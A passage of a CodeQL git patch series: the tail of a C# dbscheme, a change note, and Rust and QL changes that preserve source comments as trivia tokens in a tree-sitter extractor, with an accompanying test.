@do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +foreach_stmt_info( + unique int id: @foreach_stmt ref, + int kind: int ref /* non-async = 1, async = 2 */); + +@foreach_symbol = @method | @property | @type_or_ref; + +#keyset[id, kind] +foreach_stmt_desugar( + int id: @foreach_stmt ref, + int symbol: @foreach_symbol ref, + int kind: int ref /* GetEnumeratorMethod = 1, CurrentProperty = 2, MoveNextMethod = 3, DisposeMethod = 4, ElementType = 5 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter | @directive_if | @directive_elif; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @utf16_string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr +| 129 = @function_pointer_invocation_expr +| 130 = @with_expr +/* C# 11.0 */ +| 131 = @list_pattern_expr +| 132 = @slice_pattern_expr +| 133 = @urshift_expr +| 134 = @assign_urshift_expr +| 135 = @utf8_string_literal_expr +/* C# 12.0 */ +| 136 = @collection_expr +| 137 = @spread_element_expr +| 138 = @interpolated_string_insert_expr +/* Preprocessor */ +| 999 = @define_symbol_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@string_literal_expr = @utf16_string_literal_expr | @utf8_string_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_call_expr = @assign_arith_expr | @assign_bitwise_expr +@assign_op_expr = @assign_op_call_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@add_operation = @add_expr | @assign_add_expr; +@sub_operation = @sub_expr | @assign_sub_expr; +@mul_operation = @mul_expr | @assign_mul_expr; +@div_operation = @div_expr | @assign_div_expr; +@rem_operation = @rem_expr | @assign_rem_expr; +@and_operation = @bit_and_expr | @assign_and_expr; +@xor_operation = @bit_xor_expr | @assign_xor_expr; +@or_operation = @bit_or_expr | @assign_or_expr; +@lshift_operation = @lshift_expr | @assign_lshift_expr; +@rshift_operation = @rshift_expr | @assign_rshift_expr; +@urshift_operation = @urshift_expr | @assign_urshift_expr; +@null_coalescing_operation = @null_coalescing_expr | @assign_coalesce_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@bin_arith_operation = @mul_operation | @div_operation | @rem_operation | @add_operation | @sub_operation; + +@incr_operation = @pre_incr_expr | @post_incr_expr; +@decr_operation = @pre_decr_expr | @post_decr_expr; +@mut_operation = @incr_operation | @decr_operation; +@un_arith_operation = @plus_expr | @minus_expr | @mut_operation; +@arith_operation = @bin_arith_operation | @un_arith_operation; + +@ternary_log_operation = @conditional_expr; +@bin_log_operation = @log_and_expr | @log_or_expr | @null_coalescing_operation; +@un_log_operation = @log_not_expr; +@log_operation = @un_log_operation | @bin_log_operation | @ternary_log_operation; + +@bin_bit_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr | @urshift_expr; +@bin_bit_operation = @and_operation | @or_operation | @xor_operation | @lshift_operation + | @rshift_operation | @urshift_operation; +@un_bit_expr = @bit_not_expr; +@un_bit_operation = @un_bit_expr; +@bit_expr = @un_bit_expr | @bin_bit_expr; +@bit_operation = @un_bit_operation | @bin_bit_operation; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@operation_expr = @un_operation | @bin_operation | @ternary_operation; + +@ternary_operation = @ternary_log_operation; +@bin_operation = @assign_expr | @bin_arith_operation | @bin_log_operation | @bin_bit_operation | @comp_expr; +@un_operation = @un_arith_operation | @un_log_operation | @un_bit_operation | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@op_invoke_expr = @operator_invocation_expr | @assign_op_call_expr +@call = @method_invocation_expr | @constructor_init_expr | @op_invoke_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @op_invoke_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr + | @assign_op_call_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +lambda_expr_return_type( + unique int id: @lambda_expr ref, + int type_id: @type_or_ref ref); + +/* Compiler generated */ + +compiler_generated(unique int id: @element ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr | @parameter; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); diff --git a/csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/upgrade.properties b/csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/upgrade.properties new file mode 100644 index 00000000000..85b8a1e6c23 --- /dev/null +++ b/csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/upgrade.properties @@ -0,0 +1,2 @@ +description: Restructure and rename types related to operations. +compatibility: full From 346d140c875a06acee8b364f250a208aa251bfb7 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 12 Jun 2026 15:33:49 +0200 Subject: [PATCH 108/143] C#: Add change-note. --- .../ql/lib/change-notes/2026-06-12-restructure-operations.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/lib/change-notes/2026-06-12-restructure-operations.md diff --git a/csharp/ql/lib/change-notes/2026-06-12-restructure-operations.md b/csharp/ql/lib/change-notes/2026-06-12-restructure-operations.md new file mode 100644 index 00000000000..89459c5b981 --- /dev/null +++ b/csharp/ql/lib/change-notes/2026-06-12-restructure-operations.md @@ -0,0 +1,4 @@ +--- +category: breaking +--- +* Renamed types related to *operation* expressions. The QL classes `BinaryArithmeticOperation`, `BinaryBitwiseOperation`, and `BinaryLogicalOperation` now include compound assignments; for example, `BinaryArithmeticOperation` now includes `a += b`. From 5608369abee0b50ec6260b017e1b6c64b1c6561b Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 12 Jun 2026 12:20:27 +0200 Subject: [PATCH 109/143] Extract trivia tokens from original parse tree --- .../src/extractor/mod.rs | 45 +++++++++++++ .../src/generator/mod.rs | 56 ++++++++++------ .../src/generator/ql_gen.rs | 64 +++++++++++++++++++ 3 files changed, 146 insertions(+), 19 deletions(-) diff --git a/shared/tree-sitter-extractor/src/extractor/mod.rs b/shared/tree-sitter-extractor/src/extractor/mod.rs index e8e608c3244..436ff9f65a1 100644 --- a/shared/tree-sitter-extractor/src/extractor/mod.rs +++ b/shared/tree-sitter-extractor/src/extractor/mod.rs @@ -333,6 +333,9 @@ pub fn extract( .run_from_tree(&tree, source) .unwrap_or_else(|e| panic!("Desugaring failed for {path_str}: {e}")); traverse_yeast(&ast, &mut visitor); + // Comments and other `extra` nodes are not represented in the desugared + // AST, so recover them directly from the original parse tree. + traverse_extras(&tree, &mut visitor); } else { traverse(&tree, &mut visitor); } @@ -365,6 +368,8 @@ struct Visitor<'a> { ast_node_parent_table_name: String, /// Language-specific name of the tokeninfo table tokeninfo_table_name: String, + /// Language-specific name of the trivia tokeninfo table + trivia_tokeninfo_table_name: String, /// A lookup table from type name to node types schema: &'a NodeTypeMap, /// A stack for gathering information from child nodes. Whenever a node is @@ -395,11 +400,33 @@ impl<'a> Visitor<'a> { ast_node_location_table_name: format!("{language_prefix}_ast_node_location"), ast_node_parent_table_name: format!("{language_prefix}_ast_node_parent"), tokeninfo_table_name: format!("{language_prefix}_tokeninfo"), + trivia_tokeninfo_table_name: format!("{language_prefix}_trivia_tokeninfo"), schema, stack: Vec::new(), } } + /// Emits a `TriviaToken` for the given `extra` node (e.g. a comment) from + /// the original parse tree. Trivia tokens carry a location and their source + /// text, but are not attached to a parent in the (possibly desugared) AST. + fn emit_trivia_token(&mut self, node: &Node) { + let id = self.trap_writer.fresh_id(); + let loc = location_for(self, self.file_label, node); + let loc_label = location_label(self.trap_writer, loc); + self.trap_writer.add_tuple( + &self.ast_node_location_table_name, + vec![trap::Arg::Label(id), trap::Arg::Label(loc_label)], + ); + self.trap_writer.add_tuple( + &self.trivia_tokeninfo_table_name, + vec![ + trap::Arg::Label(id), + trap::Arg::Int(node.kind_id() as usize), + sliced_source_arg(self.source, node), + ], + ); + } + fn record_parse_error(&mut self, loc: trap::Label, mesg: &diagnostics::DiagnosticMessage) { self.diagnostics_writer.write(mesg); let id = self.trap_writer.fresh_id(); @@ -835,6 +862,24 @@ fn traverse(tree: &Tree, visitor: &mut Visitor) { } } +/// Walks the original tree-sitter tree and emits a `TriviaToken` for every +/// `extra` node (e.g. a comment). Used to preserve comments that would +/// otherwise be lost after a desugaring pass rewrites the tree. +fn traverse_extras(tree: &Tree, visitor: &mut Visitor) { + emit_extras_in(visitor, tree.root_node()); +} + +fn emit_extras_in(visitor: &mut Visitor, node: Node<'_>) { + let mut cursor = node.walk(); + for child in node.children(&mut cursor) { + if child.is_extra() { + visitor.emit_trivia_token(&child); + } else { + emit_extras_in(visitor, child); + } + } +} + fn traverse_yeast(tree: &yeast::Ast, visitor: &mut Visitor) { use yeast::Cursor; let mut cursor = tree.walk(); diff --git a/shared/tree-sitter-extractor/src/generator/mod.rs b/shared/tree-sitter-extractor/src/generator/mod.rs index da13322fe60..d3880a74579 100644 --- a/shared/tree-sitter-extractor/src/generator/mod.rs +++ b/shared/tree-sitter-extractor/src/generator/mod.rs @@ -68,7 +68,12 @@ pub fn generate( let node_parent_table_name = format!("{}_ast_node_parent", &prefix); let token_name = format!("{}_token", &prefix); let tokeninfo_name = format!("{}_tokeninfo", &prefix); + let trivia_token_name = format!("{}_trivia_token", &prefix); + let trivia_tokeninfo_name = format!("{}_trivia_tokeninfo", &prefix); let reserved_word_name = format!("{}_reserved_word", &prefix); + // When a desugaring is configured, comments and other `extra` nodes are + // preserved from the original parse tree as `TriviaToken`s. + let has_trivia_tokens = language.desugar.is_some(); let effective_node_types: String = match language .desugar .as_ref() @@ -85,28 +90,35 @@ pub fn generate( let nodes = node_types::read_node_types_str(&prefix, &effective_node_types)?; let (dbscheme_entries, mut ast_node_members, token_kinds) = convert_nodes(&nodes); ast_node_members.insert(&token_name); + if has_trivia_tokens { + ast_node_members.insert(&trivia_token_name); + } writeln!(&mut dbscheme_writer, "/*- {} dbscheme -*/", language.name)?; dbscheme::write(&mut dbscheme_writer, &dbscheme_entries)?; let token_case = create_token_case(&token_name, token_kinds); - dbscheme::write( - &mut dbscheme_writer, - &[ - dbscheme::Entry::Table(create_tokeninfo(&tokeninfo_name, &token_name)), - dbscheme::Entry::Case(token_case), - dbscheme::Entry::Union(dbscheme::Union { - name: &ast_node_name, - members: ast_node_members, - }), - dbscheme::Entry::Table(create_ast_node_location_table( - &node_location_table_name, - &ast_node_name, - )), - dbscheme::Entry::Table(create_ast_node_parent_table( - &node_parent_table_name, - &ast_node_name, - )), - ], - )?; + let mut dbscheme_tail = vec![ + dbscheme::Entry::Table(create_tokeninfo(&tokeninfo_name, &token_name)), + dbscheme::Entry::Case(token_case), + ]; + if has_trivia_tokens { + dbscheme_tail.push(dbscheme::Entry::Table(create_tokeninfo( + &trivia_tokeninfo_name, + &trivia_token_name, + ))); + } + dbscheme_tail.push(dbscheme::Entry::Union(dbscheme::Union { + name: &ast_node_name, + members: ast_node_members, + })); + dbscheme_tail.push(dbscheme::Entry::Table(create_ast_node_location_table( + &node_location_table_name, + &ast_node_name, + ))); + dbscheme_tail.push(dbscheme::Entry::Table(create_ast_node_parent_table( + &node_parent_table_name, + &ast_node_name, + ))); + dbscheme::write(&mut dbscheme_writer, &dbscheme_tail)?; let mut body = vec![ ql::TopLevel::Class(ql_gen::create_ast_node_class( @@ -116,6 +128,12 @@ pub fn generate( )), ql::TopLevel::Class(ql_gen::create_token_class(&token_name, &tokeninfo_name)), ]; + if has_trivia_tokens { + body.push(ql::TopLevel::Class(ql_gen::create_trivia_token_class( + &trivia_token_name, + &trivia_tokeninfo_name, + ))); + } // Only emit the ReservedWord class when there are actually unnamed token // types in the schema (i.e., @{prefix}_reserved_word exists in the dbscheme). // When converting from a YEAST YAML schema that has no unnamed tokens, this diff --git a/shared/tree-sitter-extractor/src/generator/ql_gen.rs b/shared/tree-sitter-extractor/src/generator/ql_gen.rs index bb990beacc8..f827b12580e 100644 --- a/shared/tree-sitter-extractor/src/generator/ql_gen.rs +++ b/shared/tree-sitter-extractor/src/generator/ql_gen.rs @@ -199,6 +199,70 @@ pub fn create_token_class<'a>(token_type: &'a str, tokeninfo: &'a str) -> ql::Cl } } +/// Creates the `TriviaToken` class. Trivia tokens (e.g. comments) are +/// `extra` nodes preserved from the original parse tree even when the tree has +/// been rewritten by a desugaring pass. They are not part of the regular +/// `Token` hierarchy because they do not appear in the (possibly desugared) +/// output schema. +pub fn create_trivia_token_class<'a>( + trivia_token_type: &'a str, + trivia_tokeninfo: &'a str, +) -> ql::Class<'a> { + let trivia_tokeninfo_arity = 3; // id, kind, value + let get_value = ql::Predicate { + qldoc: Some(String::from("Gets the source text of this trivia token.")), + name: "getValue", + overridden: false, + is_private: false, + is_final: true, + return_type: Some(ql::Type::String), + formal_parameters: vec![], + body: create_get_field_expr_for_column_storage( + "result", + trivia_tokeninfo, + 1, + trivia_tokeninfo_arity, + ), + overlay: None, + }; + let to_string = ql::Predicate { + qldoc: Some(String::from( + "Gets a string representation of this element.", + )), + name: "toString", + overridden: true, + is_private: false, + is_final: true, + return_type: Some(ql::Type::String), + formal_parameters: vec![], + body: ql::Expression::Equals( + Box::new(ql::Expression::Var("result")), + Box::new(ql::Expression::Dot( + Box::new(ql::Expression::Var("this")), + "getValue", + vec![], + )), + ), + overlay: None, + }; + ql::Class { + qldoc: Some(String::from( + "A trivia token, such as a comment, preserved from the original parse tree.", + )), + name: "TriviaToken", + is_abstract: false, + supertypes: vec![ql::Type::At(trivia_token_type), ql::Type::Normal("AstNode")] + .into_iter() + .collect(), + characteristic_predicate: None, + predicates: vec![ + get_value, + to_string, + create_get_a_primary_ql_class("TriviaToken", false), + ], + } +} + // Creates the `ReservedWord` class. pub fn create_reserved_word_class(db_name: &str) -> ql::Class<'_> { let class_name = "ReservedWord"; From f83adb55cec63191c9e063c3a83cf4c5af798e25 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 12 Jun 2026 16:33:51 +0200 Subject: [PATCH 110/143] Unified: regenerate AST --- unified/ql/lib/codeql/unified/Ast.qll | 12 ++++++++++++ unified/ql/lib/unified.dbscheme | 8 +++++++- 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/unified/ql/lib/codeql/unified/Ast.qll b/unified/ql/lib/codeql/unified/Ast.qll index d9060c26f0f..b6d6a76b549 100644 --- a/unified/ql/lib/codeql/unified/Ast.qll +++ b/unified/ql/lib/codeql/unified/Ast.qll @@ -61,6 +61,18 @@ module Unified { override string getAPrimaryQlClass() { result = "Token" } } + /** A trivia token, such as a comment, preserved from the original parse tree. */ + class TriviaToken extends @unified_trivia_token, AstNode { + /** Gets the source text of this trivia token. */ + final string getValue() { unified_trivia_tokeninfo(this, _, result) } + + /** Gets a string representation of this element. */ + final override string toString() { result = this.getValue() } + + /** Gets the name of the primary QL class for this element. */ + override string getAPrimaryQlClass() { result = "TriviaToken" } + } + /** Gets the file containing the given `node`. */ private @file getNodeFile(@unified_ast_node node) { exists(@location_default loc | unified_ast_node_location(node, loc) | diff --git a/unified/ql/lib/unified.dbscheme b/unified/ql/lib/unified.dbscheme index 28718d79423..31b3ec6c3ed 100644 --- a/unified/ql/lib/unified.dbscheme +++ b/unified/ql/lib/unified.dbscheme @@ -334,7 +334,13 @@ case @unified_token.kind of ; -@unified_ast_node = @unified_apply_pattern | @unified_binary_expr | @unified_block_stmt | @unified_call_expr | @unified_expr_condition | @unified_expr_stmt | @unified_guard_if_stmt | @unified_if_stmt | @unified_lambda_expr | @unified_let_pattern_condition | @unified_member_access_expr | @unified_name_expr | @unified_parameter | @unified_sequence_condition | @unified_token | @unified_top_level | @unified_tuple_pattern | @unified_unary_expr | @unified_var_pattern | @unified_variable_declaration_stmt | @unified_variable_declarator +unified_trivia_tokeninfo( + unique int id: @unified_trivia_token, + int kind: int ref, + string value: string ref +); + +@unified_ast_node = @unified_apply_pattern | @unified_binary_expr | @unified_block_stmt | @unified_call_expr | @unified_expr_condition | @unified_expr_stmt | @unified_guard_if_stmt | @unified_if_stmt | @unified_lambda_expr | @unified_let_pattern_condition | @unified_member_access_expr | @unified_name_expr | @unified_parameter | @unified_sequence_condition | @unified_token | @unified_top_level | @unified_trivia_token | @unified_tuple_pattern | @unified_unary_expr | @unified_var_pattern | @unified_variable_declaration_stmt | @unified_variable_declarator unified_ast_node_location( unique int node: @unified_ast_node ref, From 7d6d5bfb4aa0e72771113ae74b887718c7bcae6b Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 12 Jun 2026 12:28:32 +0200 Subject: [PATCH 111/143] Unified: add test for comments --- unified/ql/lib/codeql/unified/Comments.qll | 13 +++++++++++++ unified/ql/lib/unified.qll | 4 ++++ .../test/library-tests/comments/comments.expected | 3 +++ unified/ql/test/library-tests/comments/comments.ql | 3 +++ .../ql/test/library-tests/comments/comments.swift | 11 +++++++++++ 5 files changed, 34 insertions(+) create mode 100644 unified/ql/lib/codeql/unified/Comments.qll create mode 100644 unified/ql/lib/unified.qll create mode 100644 unified/ql/test/library-tests/comments/comments.expected create mode 100644 unified/ql/test/library-tests/comments/comments.ql create mode 100644 unified/ql/test/library-tests/comments/comments.swift diff --git a/unified/ql/lib/codeql/unified/Comments.qll b/unified/ql/lib/codeql/unified/Comments.qll new file mode 100644 index 00000000000..c1b1bb9df90 --- /dev/null +++ b/unified/ql/lib/codeql/unified/Comments.qll @@ -0,0 +1,13 @@ +private import unified + +/** + * A comment appearing in the source code. + */ +class Comment extends TriviaToken { + // At the moment, comments are the only type trivia token we extract + string getCommentText() { + result = this.getValue().regexpCapture("//(.*)", 1) + or + result = this.getValue().regexpCapture("(?s)/\\*(.*)\\*/", 1) + } +} diff --git a/unified/ql/lib/unified.qll b/unified/ql/lib/unified.qll new file mode 100644 index 00000000000..5b073290acf --- /dev/null +++ b/unified/ql/lib/unified.qll @@ -0,0 +1,4 @@ +import codeql.Locations +import codeql.files.FileSystem +import codeql.unified.Ast::Unified +import codeql.unified.Comments diff --git a/unified/ql/test/library-tests/comments/comments.expected b/unified/ql/test/library-tests/comments/comments.expected new file mode 100644 index 00000000000..04e09d06e54 --- /dev/null +++ b/unified/ql/test/library-tests/comments/comments.expected @@ -0,0 +1,3 @@ +| comments.swift:1:1:1:22 | // Hello this is swift | Hello this is swift | +| comments.swift:3:1:6:3 | /*\n * This is a multi-line comment\n * It should be ignored by the parser\n */ | \n * This is a multi-line comment\n * It should be ignored by the parser\n | +| comments.swift:9:5:9:36 | // This is a single-line comment | This is a single-line comment | diff --git 